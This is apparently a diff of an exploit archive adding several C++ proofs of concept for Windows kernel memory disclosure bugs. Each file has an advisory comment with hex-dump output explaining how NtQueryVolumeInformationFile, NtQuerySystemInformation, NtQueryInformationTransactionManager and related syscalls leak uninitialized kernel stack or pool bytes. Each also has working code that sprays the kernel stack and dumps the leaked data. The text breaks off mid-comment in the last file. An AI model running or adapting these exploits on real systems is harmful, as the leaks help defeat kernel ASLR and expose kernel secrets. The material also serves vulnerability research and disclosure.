|
||||
LARGE_INTEGER CreationTime;
|
||||
LARGE_INTEGER LastAccessTime;
|
||||
LARGE_INTEGER LastWriteTime;
|
||||
LARGE_INTEGER ChangeTime;
|
||||
ULONG FileAttributes;
|
||||
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _OBJECT_DIRECTORY_INFORMATION {
|
||||
UNICODE_STRING Name;
|
||||
UNICODE_STRING TypeName;
|
||||
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;
|
||||
|
||||
extern "C" {
|
||||
NTSTATUS NTAPI NtQueryAttributesFile(
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
_Out_ PFILE_BASIC_INFORMATION FileInformation
|
||||
);
|
||||
|
||||
NTSTATUS WINAPI NtQueryDirectoryObject(
|
||||
_In_ HANDLE DirectoryHandle,
|
||||
_Out_opt_ PVOID Buffer,
|
||||
_In_ ULONG Length,
|
||||
_In_ BOOLEAN ReturnSingleEntry,
|
||||
_In_ BOOLEAN RestartScan,
|
||||
_Inout_ PULONG Context,
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
|
||||
NTSTATUS WINAPI NtOpenDirectoryObject(
|
||||
_Out_ PHANDLE DirectoryHandle,
|
||||
_In_ ACCESS_MASK DesiredAccess,
|
||||
_In_ POBJECT_ATTRIBUTES ObjectAttributes
|
||||
);
|
||||
};
|
||||
|
||||
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
|
||||
PBYTE Data = (PBYTE)Buffer;
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
|
||||
for (ULONG i = 0; i < size; i++) {
|
||||
ptr[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
VOID SprayKernelStack() {
|
||||
static bool initialized = false;
|
||||
static HPALETTE(NTAPI *EngCreatePalette)(
|
||||
_In_ ULONG iMode,
|
||||
_In_ ULONG cColors,
|
||||
_In_ ULONG *pulColors,
|
||||
_In_ FLONG flRed,
|
||||
_In_ FLONG flGreen,
|
||||
_In_ FLONG flBlue
|
||||
);
|
||||
|
||||
if (!initialized) {
|
||||
EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
static ULONG buffer[256];
|
||||
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
|
||||
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
|
||||
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
|
||||
}
|
||||
|
||||
VOID QueryFile(HANDLE RootDirectory, PCWSTR Path) {
|
||||
OBJECT_ATTRIBUTES Attributes;
|
||||
UNICODE_STRING Name;
|
||||
RtlInitUnicodeString(&Name, Path);
|
||||
InitializeObjectAttributes(&Attributes, &Name, OBJ_CASE_INSENSITIVE, RootDirectory, NULL);
|
||||
|
||||
FILE_BASIC_INFORMATION FileInformation, EmptyInformation;
|
||||
RtlZeroMemory(&FileInformation, sizeof(FileInformation));
|
||||
RtlZeroMemory(&EmptyInformation, sizeof(EmptyInformation));
|
||||
|
||||
SprayKernelStack();
|
||||
|
||||
NTSTATUS Status = NtQueryAttributesFile(&Attributes, &FileInformation);
|
||||
if (memcmp(&FileInformation, &EmptyInformation, sizeof(FileInformation)) != 0) {
|
||||
wprintf(L"Name: %s, Status: %x\n", Path, Status);
|
||||
PrintHex(&FileInformation, sizeof(FileInformation));
|
||||
}
|
||||
}
|
||||
|
||||
VOID EnumerateDirectory(PWCHAR path) {
|
||||
HANDLE hdir = NULL;
|
||||
OBJECT_ATTRIBUTES attrs;
|
||||
UNICODE_STRING name;
|
||||
|
||||
RtlInitUnicodeString(&name, path);
|
||||
InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL);
|
||||
NTSTATUS st = NtOpenDirectoryObject(&hdir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &attrs);
|
||||
|
||||
if (NT_SUCCESS(st)) {
|
||||
CONST ULONG kMaxBufferSize = 128 * 1024;
|
||||
PBYTE buffer = (PBYTE)malloc(kMaxBufferSize);
|
||||
|
||||
ULONG Context;
|
||||
st = NtQueryDirectoryObject(hdir, buffer, kMaxBufferSize, FALSE, TRUE, &Context, NULL);
|
||||
if (NT_SUCCESS(st)) {
|
||||
POBJECT_DIRECTORY_INFORMATION pdi = (POBJECT_DIRECTORY_INFORMATION)buffer;
|
||||
while (pdi->Name.Buffer != NULL) {
|
||||
WCHAR path_buffer[MAX_PATH];
|
||||
|
||||
if (!wcscmp(path, L"\\")) {
|
||||
wsprintf(path_buffer, L"%s%s", path, pdi->Name.Buffer);
|
||||
}
|
||||
else {
|
||||
wsprintf(path_buffer, L"%s\\%s", path, pdi->Name.Buffer);
|
||||
}
|
||||
|
||||
if (!wcscmp(pdi->TypeName.Buffer, L"Directory")) {
|
||||
EnumerateDirectory(path_buffer);
|
||||
}
|
||||
else {
|
||||
QueryFile(NULL, path_buffer);
|
||||
wcscat_s(path_buffer, L"\\");
|
||||
QueryFile(NULL, path_buffer);
|
||||
}
|
||||
|
||||
pdi++;
|
||||
}
|
||||
}
|
||||
|
||||
free(buffer);
|
||||
NtClose(hdir);
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
EnumerateDirectory(L"\\");
|
||||
|
||||
return 0;
|
||||
}
|
||||
229
exploits/windows/dos/44460.cpp
Normal file
229
exploits/windows/dos/44460.cpp
Normal file
|
|
@ -0,0 +1,229 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQueryVolumeInformationFile system call invoked against certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 10 (32/64-bit); other versions were not tested. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:
|
||||
|
||||
--- cut ---
|
||||
"\SystemRoot"
|
||||
"\Device\LanmanRedirector"
|
||||
"\Device\MailslotRedirector"
|
||||
--- cut ---
|
||||
|
||||
There are two types of leaks that can occur, both in the output IO_STATUS_BLOCK structure [1]:
|
||||
|
||||
--- cut ---
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
||||
--- cut ---
|
||||
|
||||
The first type is a 64-bit specific leak of 4 bytes of uninitialized kernel stack memory, corresponding to the upper 32 bits of the nested union, if the "Status" field is initialized, but "Pointer" is not. This is caused by the mismatch between sizeof(NTSTATUS)=4 and sizeof(PVOID)=8 on x64 platforms.
|
||||
|
||||
The second type is when a completely uninitialized copy of IO_STATUS_BLOCK is passed down to the user-mode client. This results in a disclosure of 8 kernel stack bytes on x86 systems, and 16 bytes on x64 systems.
|
||||
|
||||
Both types of leaks have been observed for various information classes tested against the three offending objects (SystemRoot, LanmanRedirector, MailslotRedirector). The problem is best illustrated by running the attached proof-of-concept program, which sprays the kernel stack with a 0x41 ('A') marker byte, invokes the nt!NtQueryVolumeInformationFile syscall with increasing information classes, and dumps the contents of the output IO_STATUS_BLOCK structures. The result of starting it in our test Windows 10 64-bit environment is as follows:
|
||||
|
||||
--- cut ---
|
||||
-------------- Testing \SystemRoot
|
||||
Class: 1, Status: 0
|
||||
00000000: 00 00 00 00 41 41 41 41 12 00 00 00 00 00 00 00 ....AAAA........
|
||||
Class: 3, Status: 0
|
||||
00000000: 00 00 00 00 41 41 41 41 18 00 00 00 00 00 00 00 ....AAAA........
|
||||
Class: 4, Status: 0
|
||||
00000000: 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 ................
|
||||
Class: 5, Status: 0
|
||||
00000000: 00 00 00 00 41 41 41 41 14 00 00 00 00 00 00 00 ....AAAA........
|
||||
Class: 6, Status: c0000022
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Class: 7, Status: 0
|
||||
00000000: 00 00 00 00 41 41 41 41 20 00 00 00 00 00 00 00 ....AAAA .......
|
||||
Class: 8, Status: 0
|
||||
00000000: 00 00 00 00 41 41 41 41 40 00 00 00 00 00 00 00 ....AAAA@.......
|
||||
Class: 9, Status: c000000d
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Class: a, Status: c000000d
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: b, Status: 0
|
||||
00000000: 00 00 00 00 41 41 41 41 1c 00 00 00 00 00 00 00 ....AAAA........
|
||||
Class: c, Status: 0
|
||||
00000000: 00 00 00 00 41 41 41 41 04 00 00 00 00 00 00 00 ....AAAA........
|
||||
Class: d, Status: c000000d
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
-------------- Testing \Device\LanmanRedirector
|
||||
Class: 1, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: 3, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: 4, Status: 0
|
||||
00000000: 00 00 00 00 41 41 41 41 08 00 00 00 00 00 00 00 ....AAAA........
|
||||
Class: 5, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: 6, Status: c0000022
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Class: 7, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: 8, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: 9, Status: c000003b
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Class: a, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: b, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: c, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: d, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
-------------- Testing \Device\MailslotRedirector
|
||||
Class: 1, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: 3, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: 4, Status: 0
|
||||
00000000: 00 00 00 00 41 41 41 41 08 00 00 00 00 00 00 00 ....AAAA........
|
||||
Class: 5, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: 6, Status: c0000022
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Class: 7, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: 8, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: 9, Status: c000003b
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
Class: a, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: b, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: c, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
Class: d, Status: c0000002
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
--- cut ---
|
||||
|
||||
It is clearly visible that a number of uninitialized bytes from the stack (indicated by the 0x41 value) are returned to the caller. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <ntstatus.h>
|
||||
|
||||
#include <cstdio>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
extern "C" {
|
||||
NTSTATUS NTAPI NtMapUserPhysicalPages(
|
||||
PVOID BaseAddress,
|
||||
ULONG NumberOfPages,
|
||||
PULONG PageFrameNumbers
|
||||
);
|
||||
|
||||
NTSTATUS NTAPI NtQueryVolumeInformationFile(
|
||||
_In_ HANDLE FileHandle,
|
||||
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
|
||||
_Out_ PVOID FsInformation,
|
||||
_In_ ULONG Length,
|
||||
_In_ DWORD FsInformationClass
|
||||
);
|
||||
};
|
||||
|
||||
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
|
||||
PBYTE Data = (PBYTE)Buffer;
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) {
|
||||
PBYTE _ptr = (PBYTE)ptr;
|
||||
for (ULONG i = 0; i < size; i++) {
|
||||
_ptr[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
VOID SprayKernelStack() {
|
||||
static SIZE_T buffer[1024];
|
||||
|
||||
MyMemset(buffer, 'A', sizeof(buffer));
|
||||
NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer);
|
||||
MyMemset(buffer, 'B', sizeof(buffer));
|
||||
}
|
||||
|
||||
VOID TestHandle(HANDLE hObject) {
|
||||
static BYTE OutputBuffer[1024];
|
||||
|
||||
for (DWORD Class = 0; Class < 16; Class++) {
|
||||
IO_STATUS_BLOCK iosb;
|
||||
RtlZeroMemory(&iosb, sizeof(iosb));
|
||||
|
||||
SprayKernelStack();
|
||||
|
||||
NTSTATUS Status = NtQueryVolumeInformationFile(hObject, &iosb, OutputBuffer, sizeof(OutputBuffer), (FILE_INFORMATION_CLASS)Class);
|
||||
if (Status == STATUS_INVALID_INFO_CLASS || Status == STATUS_INVALID_DEVICE_REQUEST) {
|
||||
continue;
|
||||
}
|
||||
|
||||
printf("Class: %x, Status: %x\n", Class, Status);
|
||||
PrintHex(&iosb, sizeof(iosb));
|
||||
}
|
||||
}
|
||||
|
||||
VOID TestObject(PWCHAR Name) {
|
||||
HANDLE hFile = NULL;
|
||||
OBJECT_ATTRIBUTES attrs;
|
||||
IO_STATUS_BLOCK iosb;
|
||||
|
||||
UNICODE_STRING UnicodeName;
|
||||
RtlInitUnicodeString(&UnicodeName, Name);
|
||||
|
||||
InitializeObjectAttributes(&attrs, &UnicodeName, 0, NULL, NULL);
|
||||
|
||||
NTSTATUS Status = NtCreateFile(&hFile,
|
||||
FILE_READ_ATTRIBUTES,
|
||||
&attrs,
|
||||
&iosb,
|
||||
NULL,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
|
||||
FILE_OPEN,
|
||||
0,
|
||||
NULL,
|
||||
0);
|
||||
|
||||
if (NT_SUCCESS(Status)) {
|
||||
wprintf(L"-------------- Testing %s\n", Name);
|
||||
TestHandle(hFile);
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
TestObject(L"\\SystemRoot");
|
||||
TestObject(L"\\Device\\LanmanRedirector");
|
||||
TestObject(L"\\Device\\MailslotRedirector");
|
||||
|
||||
return 0;
|
||||
}
|
||||
132
exploits/windows/dos/44461.cpp
Normal file
132
exploits/windows/dos/44461.cpp
Normal file
|
|
@ -0,0 +1,132 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQuerySystemInformation system call invoked with the SystemPageFileInformation (0x12) and SystemPageFileInformationEx (0x90) information classes discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.
|
||||
|
||||
Based on the contents of the output structure returned by the kernel, we have concluded that it contains a nested UNICODE_STRING structure at offset 0x10, which has the following definition:
|
||||
|
||||
--- cut ---
|
||||
typedef struct _LSA_UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
--- cut ---
|
||||
|
||||
On x64 builds, the compiler introduces 4 bytes of padding between the "MaximumLength" and "Buffer" fields, in order to align the "Buffer" pointer to an 8-byte boundary. It seems that these padding bytes are never initialized in the kernel's local copy of the structure, and so they are returned to the user-mode caller in this form.
|
||||
|
||||
The problem is best illustrated by running the attached proof-of-concept program, which sprays the kernel stack with a 0x41 ('A') marker byte, invokes the nt!NtQuerySystemInformation syscall with the affected information classes, and prints the contents of the output buffer on the screen. The result of running it in our test Windows 10 environment is as follows:
|
||||
|
||||
--- cut ---
|
||||
---------- SystemPageFileInformation Status: 0, Return Length: 48
|
||||
00000000: 00 00 00 00 00 c0 02 00 00 00 00 00 01 01 00 00 ................
|
||||
00000010: 26 00 28 00 41 41 41 41 a0 fe 38 5c cc 00 00 00 &.(.AAAA..8\....
|
||||
00000020: 5c 00 3f 00 3f 00 5c 00 43 00 3a 00 5c 00 70 00 \.?.?.\.C.:.\.p.
|
||||
00000030: 61 00 67 00 65 00 66 00 69 00 6c 00 65 00 2e 00 a.g.e.f.i.l.e...
|
||||
00000040: 73 00 79 00 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? s.y.s...........
|
||||
---------- SystemPageFileInformationEx Status: 0, Return Length: 50
|
||||
00000000: 00 00 00 00 00 c0 02 00 00 00 00 00 01 01 00 00 ................
|
||||
00000010: 26 00 28 00 41 41 41 41 a8 fe 38 5c cc 00 00 00 &.(.AAAA..8\....
|
||||
00000020: 00 c0 02 00 3f c1 13 00 5c 00 3f 00 3f 00 5c 00 ....?...\.?.?.\.
|
||||
00000030: 43 00 3a 00 5c 00 70 00 61 00 67 00 65 00 66 00 C.:.\.p.a.g.e.f.
|
||||
00000040: 69 00 6c 00 65 00 2e 00 73 00 79 00 73 00 00 00 i.l.e...s.y.s...
|
||||
--- cut ---
|
||||
|
||||
It is clearly visible that in both cases, 4 bytes returned at offsets 0x14-0x17 originate from an uninitialized kernel stack region. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <ntstatus.h>
|
||||
|
||||
#include <cstdio>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#define SystemPageFileInformation ((SYSTEM_INFORMATION_CLASS)0x12)
|
||||
#define SystemPageFileInformationEx ((SYSTEM_INFORMATION_CLASS)0x90)
|
||||
|
||||
extern "C" {
|
||||
NTSTATUS WINAPI NtQuerySystemInformation(
|
||||
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
_Inout_ PVOID SystemInformation,
|
||||
_In_ ULONG SystemInformationLength,
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
};
|
||||
|
||||
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
|
||||
PBYTE Data = (PBYTE)Buffer;
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
|
||||
for (ULONG i = 0; i < size; i++) {
|
||||
ptr[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
VOID SprayKernelStack() {
|
||||
static bool initialized = false;
|
||||
static HPALETTE(NTAPI *EngCreatePalette)(
|
||||
_In_ ULONG iMode,
|
||||
_In_ ULONG cColors,
|
||||
_In_ ULONG *pulColors,
|
||||
_In_ FLONG flRed,
|
||||
_In_ FLONG flGreen,
|
||||
_In_ FLONG flBlue
|
||||
);
|
||||
|
||||
if (!initialized) {
|
||||
EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
static ULONG buffer[256];
|
||||
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
|
||||
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
|
||||
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
|
||||
}
|
||||
|
||||
int main() {
|
||||
BYTE OutputBuffer[128];
|
||||
ULONG ReturnLength = 0;
|
||||
|
||||
RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));
|
||||
|
||||
SprayKernelStack();
|
||||
NTSTATUS Status = NtQuerySystemInformation(SystemPageFileInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
|
||||
|
||||
printf("---------- SystemPageFileInformation Status: %x, Return Length: %x\n", Status, ReturnLength);
|
||||
PrintHex(OutputBuffer, ReturnLength);
|
||||
|
||||
RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));
|
||||
|
||||
SprayKernelStack();
|
||||
Status = NtQuerySystemInformation(SystemPageFileInformationEx, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
|
||||
|
||||
printf("---------- SystemPageFileInformationEx Status: %x, Return Length: %x\n", Status, ReturnLength);
|
||||
PrintHex(OutputBuffer, ReturnLength);
|
||||
|
||||
return 0;
|
||||
}
|
||||
97
exploits/windows/dos/44462.cpp
Normal file
97
exploits/windows/dos/44462.cpp
Normal file
|
|
@ -0,0 +1,97 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQueryInformationTransactionManager system call invoked with the TransactionManagerRecoveryInformation (4) information class may disclose uninitialized kernel pool memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit.
|
||||
|
||||
The output structure for the infoclass in question is an 8-byte TRANSACTIONMANAGER_RECOVERY_INFORMATION:
|
||||
|
||||
--- cut ---
|
||||
typedef struct _TRANSACTIONMANAGER_RECOVERY_INFORMATION {
|
||||
ULONGLONG LastRecoveredLsn;
|
||||
} TRANSACTIONMANAGER_RECOVERY_INFORMATION, *PTRANSACTIONMANAGER_RECOVERY_INFORMATION;
|
||||
--- cut ---
|
||||
|
||||
We've observed the entire returned value to consist of uninitialized bytes originating from a kernel pool allocation, and more specifically an object of type TmTransactionManagerObjectType.
|
||||
|
||||
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that all 8 bytes of output are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
|
||||
|
||||
--- cut ---
|
||||
C:\>NtQueryInformationTransactionManager.exe
|
||||
Status: 0, Return Length: 8
|
||||
00000000: 2d 2d 2d 2d 2d 2d 2d 2d ?? ?? ?? ?? ?? ?? ?? ?? --------........
|
||||
|
||||
C:\>NtQueryInformationTransactionManager.exe
|
||||
Status: 0, Return Length: 8
|
||||
00000000: 3f 3f 3f 3f 3f 3f 3f 3f ?? ?? ?? ?? ?? ?? ?? ?? ????????........
|
||||
|
||||
C:\>NtQueryInformationTransactionManager.exe
|
||||
Status: 0, Return Length: 8
|
||||
00000000: 57 57 57 57 57 57 57 57 ?? ?? ?? ?? ?? ?? ?? ?? WWWWWWWW........
|
||||
|
||||
C:\>NtQueryInformationTransactionManager.exe
|
||||
Status: 0, Return Length: 8
|
||||
00000000: 71 71 71 71 71 71 71 71 ?? ?? ?? ?? ?? ?? ?? ?? qqqqqqqq........
|
||||
--- cut ---
|
||||
|
||||
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <ntstatus.h>
|
||||
#include <KtmW32.h>
|
||||
|
||||
#include <cstdio>
|
||||
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
#pragma comment(lib, "KtmW32.lib")
|
||||
|
||||
extern "C" {
|
||||
NTSTATUS NTAPI NtQueryInformationTransactionManager(
|
||||
_In_ HANDLE TransactionManagerHandle,
|
||||
_In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass,
|
||||
_Out_ PVOID TransactionManagerInformation,
|
||||
_In_ ULONG TransactionManagerInformationLength,
|
||||
_Out_opt_ PULONG ReturnLength
|
||||
);
|
||||
};
|
||||
|
||||
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
|
||||
PBYTE Data = (PBYTE)Buffer;
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
HANDLE hTransactionMgr = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0);
|
||||
|
||||
TRANSACTIONMANAGER_RECOVERY_INFORMATION Information;
|
||||
DWORD ReturnLength = 0;
|
||||
NTSTATUS Status = NtQueryInformationTransactionManager(hTransactionMgr, TransactionManagerRecoveryInformation, &Information, sizeof(Information), &ReturnLength);
|
||||
|
||||
printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
|
||||
PrintHex(&Information, sizeof(Information));
|
||||
|
||||
CloseHandle(hTransactionMgr);
|
||||
|
||||
return 0;
|
||||
}
|
||||
96
exploits/windows/dos/44463.cpp
Normal file
96
exploits/windows/dos/44463.cpp
Normal file
|
|
@ -0,0 +1,96 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQueryInformationProcess system call invoked with the ProcessImageFileName (0x1B) information class discloses uninitialized kernel memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.
|
||||
|
||||
According to the ZwQueryInformationProcess function documentation [1], the ProcessImageFileName information class returns a UNICODE_STRING structure containing the name of the image file for the specific process. The definition of the structure is as follows:
|
||||
|
||||
--- cut ---
|
||||
typedef struct _LSA_UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
--- cut ---
|
||||
|
||||
